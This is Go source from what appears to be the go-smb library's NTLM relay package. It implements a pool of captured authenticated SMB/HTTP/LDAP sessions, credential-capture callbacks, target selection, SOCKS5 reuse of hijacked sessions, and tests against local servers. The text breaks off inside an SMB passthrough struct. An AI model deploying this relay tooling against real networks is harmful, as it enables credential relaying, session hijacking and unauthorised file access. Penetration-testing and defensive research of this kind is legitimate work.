// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"net"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/jfjallid/go-smb/smb"
)
// pooledSession holds a single live, authenticated upstream connection
// captured by RelayServer. Exactly one of Conn (SMB), HTTP, or LDAP is
// non-nil. The mutex is held by SOCKS-side passthrough while a request /
// response is in flight on the upstream so multiple concurrent SOCKS clients
// don't interleave traffic on the same upstream socket.
type pooledSession struct {
Target string
Conn *smb.Connection // SMB upstream; nil otherwise
HTTP *httpUpstream // HTTP upstream; nil otherwise
LDAP *ldapUpstream // LDAP upstream; nil otherwise
Cred *Credential
Established time.Time
lastUsed atomic.Int64 // unix nano
dead atomic.Bool
mu sync.Mutex // serializes outbound requests on the upstream
}
// IsHTTP reports whether this pooled session is an HTTP upstream.
func (p *pooledSession) IsHTTP() bool { return p.HTTP != nil }
// IsLDAP reports whether this pooled session is an LDAP upstream.
func (p *pooledSession) IsLDAP() bool { return p.LDAP != nil }
// MarkDead flags ps as unusable. Subsequent FindMatches calls and selector
// invocations skip it; the next pruneExpired sweep evicts it.
func (p *pooledSession) MarkDead() { p.dead.Store(true) }
// IsDead reports whether ps has been flagged dead.
func (p *pooledSession) IsDead() bool { return p.dead.Load() }
// SessionInfo is a snapshot of a pooled session — exposed for telemetry /
// tests, decoupled from the live mutex-guarded state.
type SessionInfo struct {
Target string
Username string
Domain string
RemoteAddr net.Addr
Established time.Time
LastUsed time.Time
}
func (p *pooledSession) snapshot() SessionInfo {
si := SessionInfo{
Target: p.Target,
Established: p.Established,
LastUsed: time.Unix(0, p.lastUsed.Load()),
}
if p.Cred != nil {
si.Username = p.Cred.Username
si.Domain = p.Cred.Domain
si.RemoteAddr = p.Cred.RemoteAddr
}
return si
}
// Touch updates the last-used timestamp. Called by SOCKS passthrough each
// time a request is forwarded so the TTL ticker can age out idle sessions.
func (p *pooledSession) Touch() {
p.lastUsed.Store(time.Now().UnixNano())
}
// sessionPool is a FIFO-evicting collection of pooledSessions keyed by
// insertion order. Lookups by target return any matching live session;
// concurrent SOCKS clients can pin different targets simultaneously.
type sessionPool struct {
mu sync.Mutex
max int
ttl time.Duration
sessions []*pooledSession
}
// newSessionPool returns an empty pool. max <= 0 disables the cap. ttl <= 0
// disables age-based eviction.
func newSessionPool(max int, ttl time.Duration) *sessionPool {
return &sessionPool{max: max, ttl: ttl}
}
// Add inserts ps into the pool. If MaxPoolSize is reached, the oldest entry
// is evicted (its connection closed). Evictions are collected under the lock
// and closed synchronously after — close-time is dominated by a few socket
// shutdowns, well below the cost of pinning the pool mu, and an in-flight
// background goroutine would otherwise outlive Shutdown.
func (sp *sessionPool) Add(ps *pooledSession) {
ps.lastUsed.Store(ps.Established.UnixNano())
sp.mu.Lock()
sp.sessions = append(sp.sessions, ps)
var evicted []*pooledSession
for sp.max > 0 && len(sp.sessions) > sp.max {
evicted = append(evicted, sp.sessions[0])
sp.sessions = sp.sessions[1:]
}
sp.mu.Unlock()
for _, p := range evicted {
closePooled(p)
}
}
// Remove drops a specific entry (used when a SOCKS dispatcher detects that
// the upstream conn is dead). Closes the *smb.Connection.
func (sp *sessionPool) Remove(target *pooledSession) {
sp.mu.Lock()
for i, p := range sp.sessions {
if p == target {
sp.sessions = append(sp.sessions[:i], sp.sessions[i+1:]...)
break
}
}
sp.mu.Unlock()
closePooled(target)
}
// FindByTarget returns the first live pooled session matching the supplied
// "host:port" target string, or nil. Dead entries are skipped. Retained for
// callers that don't care about user-based filtering; new code should prefer
// FindMatches.
func (sp *sessionPool) FindByTarget(target string) *pooledSession {
sp.mu.Lock()
defer sp.mu.Unlock()
for _, p := range sp.sessions {
if p.Target == target && !p.IsDead() {
return p
}
}
return nil
}
// FindMatches returns every live pooled session whose Target equals target
// and whose captured Credential matches user (case-insensitive). The user
// argument accepts:
// - "" — no user filter, target match only
// - "name" — Credential.Username == name
// - "domain\\name", "domain/name" — both domain and name must match
// - "name@domain" — same as above (UPN form)
//
// Dead entries are excluded.
func (sp *sessionPool) FindMatches(target, user string) []*pooledSession {
wantDomain, wantName := parseAuthUser(user)
sp.mu.Lock()
defer sp.mu.Unlock()
var out []*pooledSession
for _, p := range sp.sessions {
if p.Target != target || p.IsDead() {
continue
}
if user != "" && !credMatches(p.Cred, wantDomain, wantName) {
continue
}
out = append(out, p)
}
return out
}
// parseAuthUser splits a user spec into (domain, name). See FindMatches.
func parseAuthUser(s string) (domain, name string) {
if s == "" {
return "", ""
}
if i := strings.IndexAny(s, "\\/"); i >= 0 {
return s[:i], s[i+1:]
}
if i := strings.LastIndex(s, "@"); i >= 0 {
return s[i+1:], s[:i]
}
return "", s
}
// credMatches compares a captured credential against a parsed (domain, name)
// filter. domain is optional; empty domain matches any Credential.Domain.
func credMatches(cred *Credential, domain, name string) bool {
if cred == nil {
return false
}
if !strings.EqualFold(cred.Username, name) {
return false
}
if domain != "" && !strings.EqualFold(cred.Domain, domain) {
return false
}
return true
}
// Snapshot returns a stable copy of every live entry's metadata.
func (sp *sessionPool) Snapshot() []SessionInfo {
sp.mu.Lock()
defer sp.mu.Unlock()
out := make([]SessionInfo, 0, len(sp.sessions))
for _, p := range sp.sessions {
out = append(out, p.snapshot())
}
return out
}
// Len reports the number of live entries.
func (sp *sessionPool) Len() int {
sp.mu.Lock()
defer sp.mu.Unlock()
return len(sp.sessions)
}
// CloseAll tears down every pooled connection and empties the pool.
func (sp *sessionPool) CloseAll() {
sp.mu.Lock()
old := sp.sessions
sp.sessions = nil
sp.mu.Unlock()
for _, p := range old {
closePooled(p)
}
}
// pruneExpired evicts entries whose lastUsed is older than ttl, plus any
// entry flagged dead. Called by the background ticker.
func (sp *sessionPool) pruneExpired(now time.Time) []*pooledSession {
checkTTL := sp.ttl > 0
cutoff := int64(0)
if checkTTL {
cutoff = now.Add(-sp.ttl).UnixNano()
}
sp.mu.Lock()
keep := sp.sessions[:0]
var evicted []*pooledSession
for _, p := range sp.sessions {
if p.IsDead() || (checkTTL && p.lastUsed.Load() < cutoff) {
evicted = append(evicted, p)
continue
}
keep = append(keep, p)
}
sp.sessions = keep
sp.mu.Unlock()
for _, p := range evicted {
closePooled(p)
}
if n := len(evicted); n > 0 {
log.Debugf("pool: pruned %d expired session(s)", n)
}
return evicted
}
func closePooled(p *pooledSession) {
if p == nil {
return
}
if p.Conn != nil {
p.Conn.Close()
}
if p.HTTP != nil {
_ = p.HTTP.Close()
}
if p.LDAP != nil {
_ = p.LDAP.Close()
}
}
// SelectTargetFunc is the strategy signature used by RelayServer to decide
// which target to relay an inbound auth toward. lastUsed maps Target.Host ->
// timestamp of the most recent successful relay onto it (updated by the
// caller). The function must be safe for concurrent calls. Returning the
// zero Target signals "no candidate".
type SelectTargetFunc func(targets []Target, remote net.Addr, lastUsed map[string]time.Time) Target
// RoundRobin returns a target-selector that cycles through the configured
// targets in order. Safe for concurrent use.
func RoundRobin() SelectTargetFunc {
var i atomic.Uint64
return func(targets []Target, _ net.Addr, _ map[string]time.Time) Target {
if len(targets) == 0 {
return Target{}
}
idx := i.Add(1) - 1
return targets[int(idx%uint64(len(targets)))]
}
}
// StickyByRemote returns a target-selector that hashes the relayed client's
// remote address (host:port stripped to host) onto the target list. Two
// auths from the same client always land on the same upstream — useful for
// post-auth actions that depend on per-client state.
func StickyByRemote() SelectTargetFunc {
return func(targets []Target, remote net.Addr, _ map[string]time.Time) Target {
if len(targets) == 0 {
return Target{}
}
host := ""
if remote != nil {
host = remote.String()
if h, _, err := net.SplitHostPort(host); err == nil {
host = h
}
}
var h uint64 = 1469598103934665603 // FNV-1a 64
for i := 0; i < len(host); i++ {
h ^= uint64(host[i])
h *= 1099511628211
}
return targets[int(h%uint64(len(targets)))]
}
}
// SessionMatcher picks one pooled session from candidates already filtered by
// target and user. remote is the SOCKS client's address. Return nil if no
// candidate is usable. Implementations MUST skip dead candidates.
type SessionMatcher func(candidates []*pooledSession, remote net.Addr) *pooledSession
// PoolFirstAvailable returns a matcher that picks the first live candidate.
// Combined with [pooledSession.MarkDead] this gives the "first with fallback
// to next" behavior: a dead pick is skipped on the next SOCKS connection.
func PoolFirstAvailable() SessionMatcher {
return func(candidates []*pooledSession, _ net.Addr) *pooledSession {
for _, p := range candidates {
if !p.IsDead() {
return p
}
}
return nil
}
}
// PoolRoundRobin returns a matcher that cycles through candidates via an
// atomic counter shared across the matcher's lifetime. Dead candidates are
// skipped (the counter still advances so subsequent picks rotate).
func PoolRoundRobin() SessionMatcher {
var i atomic.Uint64
return func(candidates []*pooledSession, _ net.Addr) *pooledSession {
n := len(candidates)
if n == 0 {
return nil
}
for tries := 0; tries < n; tries++ {
idx := i.Add(1) - 1
p := candidates[int(idx%uint64(n))]
if !p.IsDead() {
return p
}
}
return nil
}
}
// PoolMostRecent returns a matcher that picks the live candidate with the
// highest Established timestamp.
func PoolMostRecent() SessionMatcher {
return func(candidates []*pooledSession, _ net.Addr) *pooledSession {
var best *pooledSession
for _, p := range candidates {
if p.IsDead() {
continue
}
if best == nil || p.Established.After(best.Established) {
best = p
}
}
return best
}
}
+1085
View File
File diff suppressed because it is too large Load Diff
+686
View File
@@ -0,0 +1,686 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
package relay_test
import (
"context"
"fmt"
"io"
"net"
"sync"
"sync/atomic"
"testing"
"time"
"github.com/jfjallid/go-smb/ntlmssp"
"github.com/jfjallid/go-smb/relay"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/server"
"github.com/jfjallid/go-smb/smb/server/memvfs"
"github.com/jfjallid/go-smb/spnego"
)
// TestRelayServerEndToEnd boots two upstream SMB servers, starts a
// RelayServer with both as targets and a SOCKS5 listener, drives two inbound
// auth attempts through the SMB listener, and verifies that:
// - both upstream sessions get pooled (round-robin spreads them across the
// two targets);
// - OnRelaySuccess and OnCredentialCaptured fire;
// - a SOCKS5 client can CONNECT to upstream1:445 through the proxy and
// issue TreeConnect against the upstream's registered share.
func TestRelayServerEndToEnd(t *testing.T) {
const (
user = "alice"
password = "Hunter2!"
domain = "WORKGROUP"
share = "test"
)
ntHash := ntlmssp.Ntowfv1(password)
mkUpstream := func(name string) (*server.Server, *net.TCPAddr, func()) {
s := &server.Server{
Config: &server.ServerConfig{
Authenticator: &server.MapAuthenticator{
Domain: domain,
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
},
},
}
s.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
l, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen %s: %v", name, err)
}
ch := make(chan error, 1)
go func() { ch <- s.Serve(l) }()
return s, l.Addr().(*net.TCPAddr), func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = s.Shutdown(ctx)
if e := <-ch; e != nil && e != server.ErrServerClosed {
t.Errorf("upstream %s Serve: %v", name, e)
}
}
}
_, up1Addr, up1Stop := mkUpstream("up1")
defer up1Stop()
_, up2Addr, up2Stop := mkUpstream("up2")
defer up2Stop()
var (
credsMu sync.Mutex
credsCaptured []*relay.Credential
successMu sync.Mutex
successes []string
)
rs := &relay.RelayServer{
Config: relay.ServerConfig{
ListenAddr: "127.0.0.1:0",
SocksAddr: "127.0.0.1:0",
Targets: []string{"smb://" + up1Addr.String(), "smb://" + up2Addr.String()},
SelectTarget: relay.RoundRobin(),
OnCredentialCaptured: func(_ *server.Conn, cred *relay.Credential) {
credsMu.Lock()
credsCaptured = append(credsCaptured, cred)
credsMu.Unlock()
},
OnRelaySuccess: func(target string, _ *smb.Connection, _ *relay.Credential) {
successMu.Lock()
successes = append(successes, target)
successMu.Unlock()
},
},
}
if err := rs.Start(); err != nil {
t.Fatalf("RelayServer.Start: %v", err)
}
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = rs.Shutdown(ctx)
}()
relayAddr := rs.SMBAddr().(*net.TCPAddr)
socksAddr := rs.SocksAddr().(*net.TCPAddr)
// Drive two inbound auths through the relay.
for i := 0; i < 2; i++ {
opts := smb.Options{
Host: relayAddr.IP.String(),
Port: relayAddr.Port,
User: user,
Password: password,
Domain: domain,
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
DisableSigning: true,
DisableEncryption: true,
ForceSMB2: true,
DialTimeout: 2 * time.Second,
}
_, _ = smb.NewConnection(opts) // expected to fail (capture-and-drop)
}
// Wait for both upstream sessions to appear in the pool.
if !waitFor(2*time.Second, func() bool {
return len(rs.Snapshot()) >= 2
}) {
t.Fatalf("did not pool 2 sessions; have %d", len(rs.Snapshot()))
}
credsMu.Lock()
gotCreds := append([]*relay.Credential(nil), credsCaptured...)
credsMu.Unlock()
if len(gotCreds) < 2 {
t.Errorf("OnCredentialCaptured fired %d times, want >=2", len(gotCreds))
}
// Round-robin should have hit both upstream targets.
successMu.Lock()
gotSuccesses := append([]string(nil), successes...)
successMu.Unlock()
seen := map[string]bool{}
for _, t := range gotSuccesses {
seen[t] = true
}
if len(seen) < 2 {
t.Errorf("round-robin did not spread across both targets, got %v", gotSuccesses)
}
// SOCKS5 client: drive smb.NewConnection against upstream1 through the
// proxy. The Initiator's username must match the captured credential — the
// SOCKS server parses the NTLMSSP AUTHENTICATE and routes to a pool entry
// matching (target, user).
socksOpts := smb.Options{
Host: up1Addr.IP.String(),
Port: up1Addr.Port,
User: user,
Password: "ignored",
Domain: domain,
Initiator: &spnego.NTLMInitiator{User: user, Password: "ignored", Domain: domain},
DisableSigning: true,
DisableEncryption: true,
ForceSMB2: true,
DialTimeout: 2 * time.Second,
ProxyDialer: &fixedSocksDialer{socksAddr: socksAddr.String(), target: up1Addr.String()},
}
conn, err := smb.NewConnection(socksOpts)
if err != nil {
t.Fatalf("SOCKS-fronted NewConnection: %v", err)
}
defer conn.Close()
if err := conn.TreeConnect(share); err != nil {
t.Fatalf("SOCKS-fronted TreeConnect %q: %v", share, err)
}
defer conn.TreeDisconnect(share)
// Exercise Create + Write + Close + Read translation by round-tripping a
// small file through the SOCKS-fronted upstream session.
body := []byte("relay socks roundtrip\n")
off := 0
if err := conn.PutFile(share, "hello.txt", 0, func(buf []byte) (int, error) {
if off >= len(body) {
return 0, io.EOF
}
n := copy(buf, body[off:])
off += n
return n, nil
}); err != nil {
t.Fatalf("SOCKS-fronted PutFile: %v", err)
}
var got []byte
if err := conn.RetrieveFile(share, "hello.txt", 0, func(b []byte) (int, error) {
got = append(got, b...)
return len(b), nil
}); err != nil {
t.Fatalf("SOCKS-fronted RetrieveFile: %v", err)
}
if string(got) != string(body) {
t.Errorf("SOCKS-fronted RetrieveFile body=%q want %q", got, body)
}
}
// TestSocksPiggybackReusesPooledSession opens two SOCKS-fronted SMB
// connections sequentially against the same pooled upstream session. This
// regression-tests MessageID translation in smb_passthrough.forward: the
// first piggy-back happens to align because both counters start near zero,
// but the second arrives when the upstream MessageID counter has advanced
// past anything the new local client has sent — without per-PDU MID
// translation the client would reject every reply with "Message Id (N) not
// found in outstanding packets".
func TestSocksPiggybackReusesPooledSession(t *testing.T) {
const (
user = "carol"
password = "Reuse-Me-1!"
domain = "WORKGROUP"
share = "test"
)
ntHash := ntlmssp.Ntowfv1(password)
up := &server.Server{
Config: &server.ServerConfig{
Authenticator: &server.MapAuthenticator{
Domain: domain,
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
},
},
}
up.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
upL, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen upstream: %v", err)
}
upCh := make(chan error, 1)
go func() { upCh <- up.Serve(upL) }()
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = up.Shutdown(ctx)
<-upCh
}()
upAddr := upL.Addr().(*net.TCPAddr)
rs := &relay.RelayServer{
Config: relay.ServerConfig{
ListenAddr: "127.0.0.1:0",
SocksAddr: "127.0.0.1:0",
Targets: []string{"smb://" + upAddr.String()},
},
}
if err := rs.Start(); err != nil {
t.Fatalf("RelayServer.Start: %v", err)
}
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = rs.Shutdown(ctx)
}()
relayAddr := rs.SMBAddr().(*net.TCPAddr)
socksAddr := rs.SocksAddr().(*net.TCPAddr)
// Drive one inbound auth so the upstream session gets pooled.
bait := smb.Options{
Host: relayAddr.IP.String(),
Port: relayAddr.Port,
User: user,
Password: password,
Domain: domain,
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
DisableSigning: true,
DisableEncryption: true,
ForceSMB2: true,
DialTimeout: 2 * time.Second,
}
_, _ = smb.NewConnection(bait)
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 1 }) {
t.Fatalf("upstream session never pooled (have %d)", len(rs.Snapshot()))
}
socksOpts := smb.Options{
Host: upAddr.IP.String(),
Port: upAddr.Port,
User: user,
Password: "ignored",
Domain: domain,
Initiator: &spnego.NTLMInitiator{User: user, Password: "ignored", Domain: domain},
DisableSigning: true,
DisableEncryption: true,
ForceSMB2: true,
DialTimeout: 2 * time.Second,
ProxyDialer: &fixedSocksDialer{socksAddr: socksAddr.String(), target: upAddr.String()},
}
doRoundtrip := func(label, filename string, body []byte) {
conn, err := smb.NewConnection(socksOpts)
if err != nil {
t.Fatalf("%s NewConnection: %v", label, err)
}
defer conn.Close()
if err := conn.TreeConnect(share); err != nil {
t.Fatalf("%s TreeConnect: %v", label, err)
}
defer conn.TreeDisconnect(share)
off := 0
if err := conn.PutFile(share, filename, 0, func(buf []byte) (int, error) {
if off >= len(body) {
return 0, io.EOF
}
n := copy(buf, body[off:])
off += n
return n, nil
}); err != nil {
t.Fatalf("%s PutFile: %v", label, err)
}
var got []byte
if err := conn.RetrieveFile(share, filename, 0, func(b []byte) (int, error) {
got = append(got, b...)
return len(b), nil
}); err != nil {
t.Fatalf("%s RetrieveFile: %v", label, err)
}
if string(got) != string(body) {
t.Errorf("%s body=%q want %q", label, got, body)
}
}
doRoundtrip("first piggy-back", "first.txt", []byte("piggyback-1\n"))
doRoundtrip("second piggy-back", "second.txt", []byte("piggyback-2\n"))
}
// TestPostAuthAction wires a FuncAction into RelayServer and verifies it runs
// against the captured upstream session.
func TestPostAuthAction(t *testing.T) {
const (
user = "bob"
password = "Letmein!"
domain = "WORKGROUP"
share = "data"
)
ntHash := ntlmssp.Ntowfv1(password)
up := &server.Server{
Config: &server.ServerConfig{
Authenticator: &server.MapAuthenticator{
Domain: domain,
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
},
},
}
up.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
upL, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen up: %v", err)
}
upCh := make(chan error, 1)
go func() { upCh <- up.Serve(upL) }()
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = up.Shutdown(ctx)
<-upCh
}()
var actionFired atomic.Bool
rs := &relay.RelayServer{
Config: relay.ServerConfig{
ListenAddr: "127.0.0.1:0",
Targets: []string{"smb://" + upL.Addr().String()},
PostAuthActions: []relay.PostAuthAction{
relay.FuncAction{
NameStr: "smoke",
Fn: func(_ context.Context, conn *smb.Connection, cred *relay.Credential, _ server.Logger) error {
if conn == nil {
return fmt.Errorf("nil conn")
}
if cred == nil || cred.Username != user {
return fmt.Errorf("wrong cred")
}
actionFired.Store(true)
return nil
},
},
},
},
}
if err := rs.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = rs.Shutdown(ctx)
}()
relayAddr := rs.SMBAddr().(*net.TCPAddr)
clientOpts := smb.Options{
Host: relayAddr.IP.String(),
Port: relayAddr.Port,
User: user,
Password: password,
Domain: domain,
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
DisableSigning: true,
DisableEncryption: true,
ForceSMB2: true,
DialTimeout: 2 * time.Second,
}
_, _ = smb.NewConnection(clientOpts)
if !waitFor(2*time.Second, actionFired.Load) {
t.Fatalf("PostAuthAction did not fire")
}
}
// TestSocksUserRouting verifies that when two pooled sessions for the same
// target but different captured users are present, two SOCKS clients
// authenticating as those respective users each get routed to the correct
// pool entry. This is the regression test for the "always reuses first
// connection in pool" bug.
func TestSocksUserRouting(t *testing.T) {
const (
password = "Hunter2!"
domain = "WORKGROUP"
share = "test"
)
ntHash := ntlmssp.Ntowfv1(password)
// Single upstream server with two accounts.
up := &server.Server{
Config: &server.ServerConfig{
Authenticator: &server.MapAuthenticator{
Domain: domain,
Accounts: map[string]*server.Account{
"alice": {NTHash: ntHash},
"bob": {NTHash: ntHash},
},
},
},
}
up.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
upL, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen upstream: %v", err)
}
upCh := make(chan error, 1)
go func() { upCh <- up.Serve(upL) }()
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = up.Shutdown(ctx)
<-upCh
}()
upAddr := upL.Addr().(*net.TCPAddr)
rs := &relay.RelayServer{
Config: relay.ServerConfig{
ListenAddr: "127.0.0.1:0",
SocksAddr: "127.0.0.1:0",
Targets: []string{"smb://" + upAddr.String()},
},
}
if err := rs.Start(); err != nil {
t.Fatalf("RelayServer.Start: %v", err)
}
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = rs.Shutdown(ctx)
}()
relayAddr := rs.SMBAddr().(*net.TCPAddr)
socksAddr := rs.SocksAddr().(*net.TCPAddr)
// Two bait connections — one per user — both land in the pool against
// the same upstream target.
for _, u := range []string{"alice", "bob"} {
bait := smb.Options{
Host: relayAddr.IP.String(),
Port: relayAddr.Port,
User: u,
Password: password,
Domain: domain,
Initiator: &spnego.NTLMInitiator{User: u, Password: password, Domain: domain},
DisableSigning: true,
DisableEncryption: true,
ForceSMB2: true,
DialTimeout: 2 * time.Second,
}
_, _ = smb.NewConnection(bait)
}
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 2 }) {
t.Fatalf("expected 2 pooled sessions, got %d", len(rs.Snapshot()))
}
// Each user drops a file via SOCKS. The SOCKS server must route alice
// onto the alice-pool-entry and bob onto the bob-pool-entry. We verify
// by writing a per-user file and reading it back through the SAME pool
// entry (the file name encodes the user). If routing were broken (e.g.
// both clients land on alice's session), the read for bob would either
// fail or return alice's content.
drop := func(user, body string) error {
opts := smb.Options{
Host: upAddr.IP.String(),
Port: upAddr.Port,
User: user,
Password: "ignored",
Domain: domain,
Initiator: &spnego.NTLMInitiator{User: user, Password: "ignored", Domain: domain},
DisableSigning: true,
DisableEncryption: true,
ForceSMB2: true,
DialTimeout: 2 * time.Second,
ProxyDialer: &fixedSocksDialer{socksAddr: socksAddr.String(), target: upAddr.String()},
}
conn, err := smb.NewConnection(opts)
if err != nil {
return fmt.Errorf("NewConnection: %w", err)
}
defer conn.Close()
if err := conn.TreeConnect(share); err != nil {
return fmt.Errorf("TreeConnect: %w", err)
}
defer conn.TreeDisconnect(share)
off := 0
buf := []byte(body)
if err := conn.PutFile(share, user+".txt", 0, func(b []byte) (int, error) {
if off >= len(buf) {
return 0, io.EOF
}
n := copy(b, buf[off:])
off += n
return n, nil
}); err != nil {
return fmt.Errorf("PutFile: %w", err)
}
var got []byte
if err := conn.RetrieveFile(share, user+".txt", 0, func(b []byte) (int, error) {
got = append(got, b...)
return len(b), nil
}); err != nil {
return fmt.Errorf("RetrieveFile: %w", err)
}
if string(got) != body {
return fmt.Errorf("body mismatch: got %q want %q", got, body)
}
return nil
}
if err := drop("alice", "from-alice"); err != nil {
t.Errorf("alice via SOCKS: %v", err)
}
if err := drop("bob", "from-bob"); err != nil {
t.Errorf("bob via SOCKS: %v", err)
}
// A SOCKS client claiming an unmatched user should be rejected at
// SessionSetup with LOGON_FAILURE.
bogusOpts := smb.Options{
Host: upAddr.IP.String(),
Port: upAddr.Port,
User: "nobody",
Password: "ignored",
Domain: domain,
Initiator: &spnego.NTLMInitiator{User: "nobody", Password: "ignored", Domain: domain},
DisableSigning: true,
DisableEncryption: true,
ForceSMB2: true,
DialTimeout: 2 * time.Second,
ProxyDialer: &fixedSocksDialer{socksAddr: socksAddr.String(), target: upAddr.String()},
}
if _, err := smb.NewConnection(bogusOpts); err == nil {
t.Errorf("expected unmatched-user SOCKS auth to fail, got success")
}
}
// fixedSocksDialer is a proxy.Dialer that ignores the requested address and
// always asks the SOCKS server to CONNECT to the configured fixed target.
// Used in the test so smb.NewConnection's TCP dial lands on the SOCKS-fronted
// upstream session without us having to plumb the target through to it.
type fixedSocksDialer struct {
socksAddr string
target string
}
func (d *fixedSocksDialer) Dial(_, _ string) (net.Conn, error) {
return socks5Connect(d.socksAddr, d.target)
}
// DialContext is required by smb.NewConnection (asserts proxy.ContextDialer).
func (d *fixedSocksDialer) DialContext(_ context.Context, _, _ string) (net.Conn, error) {
return socks5Connect(d.socksAddr, d.target)
}
// socks5Connect performs a minimal RFC 1928 CONNECT handshake against the
// SOCKS5 server at proxy and returns the established connection.
func socks5Connect(proxy, target string) (net.Conn, error) {
c, err := net.DialTimeout("tcp", proxy, 2*time.Second)
if err != nil {
return nil, fmt.Errorf("dial socks: %w", err)
}
// Greet: VER=5 NMETHODS=1 NoAuth=0
if _, err := c.Write([]byte{0x05, 0x01, 0x00}); err != nil {
c.Close()
return nil, err
}
hdr := make([]byte, 2)
if _, err := readFull(c, hdr); err != nil {
c.Close()
return nil, fmt.Errorf("read greeting: %w", err)
}
if hdr[0] != 0x05 || hdr[1] != 0x00 {
c.Close()
return nil, fmt.Errorf("unexpected greeting reply % x", hdr)
}
host, portStr, err := net.SplitHostPort(target)
if err != nil {
c.Close()
return nil, err
}
var port uint16
fmt.Sscanf(portStr, "%d", &port)
req := []byte{0x05, 0x01, 0x00, 0x03, byte(len(host))}
req = append(req, []byte(host)...)
req = append(req, byte(port>>8), byte(port))
if _, err := c.Write(req); err != nil {
c.Close()
return nil, err
}
resp := make([]byte, 4)
if _, err := readFull(c, resp); err != nil {
c.Close()
return nil, fmt.Errorf("read connect reply: %w", err)
}
if resp[1] != 0x00 {
c.Close()
return nil, fmt.Errorf("socks reply status 0x%02x", resp[1])
}
// Drain BND.ADDR (depends on ATYP) + BND.PORT.
switch resp[3] {
case 0x01:
_, err = readFull(c, make([]byte, 4))
case 0x04:
_, err = readFull(c, make([]byte, 16))
case 0x03:
l := make([]byte, 1)
if _, err = readFull(c, l); err == nil {
_, err = readFull(c, make([]byte, l[0]))
}
}
if err == nil {
_, err = readFull(c, make([]byte, 2))
}
if err != nil {
c.Close()
return nil, err
}
return c, nil
}
func readFull(c net.Conn, b []byte) (int, error) {
got := 0
for got < len(b) {
n, err := c.Read(b[got:])
got += n
if err != nil {
return got, err
}
}
return got, nil
}
func waitFor(d time.Duration, cond func() bool) bool {
deadline := time.Now().Add(d)
for {
if cond() {
return true
}
if time.Now().After(deadline) {
return false
}
time.Sleep(20 * time.Millisecond)
}
}
+732
View File
@@ -0,0 +1,732 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"context"
"crypto/rand"
"encoding/binary"
"encoding/hex"
"errors"
"fmt"
"io"
"net"
"sync"
"time"
"github.com/jfjallid/gofork/encoding/asn1"
"github.com/jfjallid/go-smb/gss"
"github.com/jfjallid/go-smb/ntlmssp"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/encoder"
"github.com/jfjallid/go-smb/smb/server"
)
// SMBPassthrough handles a SOCKS-fronted SMB conversation by raw-forwarding
// PDUs over the pooled upstream *smb.Connection. The local-side Negotiate and
// SessionSetup are answered with synthetic responses (we never derive keys on
// the SOCKS side, so signing/encryption stay off). Subsequent PDUs are
// forwarded to the upstream with TreeID/SessionID/FileID translation.
//
// If Resolve is set, the pooled session is selected on SessionSetup leg 2
// using the username/domain parsed out of the inbound NTLMSSP AUTHENTICATE.
// Otherwise the pre-set Upstream field is used unconditionally.
type SMBPassthrough struct {
Local net.Conn
Target string // upstream "host:port" the SOCKS client asked for (used by Resolve)
Upstream *pooledSession
Resolve func(target, domain, user string) *pooledSession
Logger server.Logger
localSessionID uint64
upstreamSessionID uint64
tableMu sync.Mutex
